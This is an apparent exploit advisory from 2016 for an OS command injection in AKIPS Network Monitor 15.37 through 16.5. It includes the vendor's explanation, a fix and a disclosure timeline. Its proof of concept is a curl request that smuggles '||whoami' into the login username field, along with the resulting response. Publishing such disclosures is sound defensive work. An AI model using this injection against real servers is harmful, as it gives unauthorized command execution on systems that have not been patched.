AKIPS Network Monitor 15.37 through 16.5 – OS Command Injection
# Exploit Title: AKIPS Network Monitor 15.37-16.6 OS Command Injection # Date: 03-14-2016 # Exploit Author: BrianWGray # Contact: https://twitter.com/BrianWGray # WebPage: http://somethingbroken.com/ # Vendor Homepage: https://www.akips.com/ # Software Link: https://www.akips.com/showdoc/download # Version: 15.37 through 16.5, May impact earlier versions, remediated in 16.6 # Tested on: FreeBSD 10.2-RELEASE-p7 # CVE : N/A 1. Description The "username" login parameter allows for OS Command injection via command Injection during a failed login attempt returns the command injection output to a limited login failure field. By using concatenation '||' a command may be appended to the username. The vendor has stated the following: "Apparently the issue is in a Perl module which does an open2() of a custom PAM program. The command is not being properly sanitised." - Vendor Reply http://somethingbroken.com/vuln/0002.html 2. Proof of Concept example request: curl 'https://Application/' --data 'username=%7C%7C+whoami&password=' --compressed --insecure -# | grep -wF "Error signing in:" example response: <div class="alert alert-warning"><strong>Error signing in:</strong> akips</div> 3. Solution: Update to version 16.6 https://www.akips.com/showdoc/download 4. Timeline: * 03-14-2016: Discovered, Vendor Notified, Vendor Response * 03-15-2016: Vendor Releases Remediated Build 16.6 |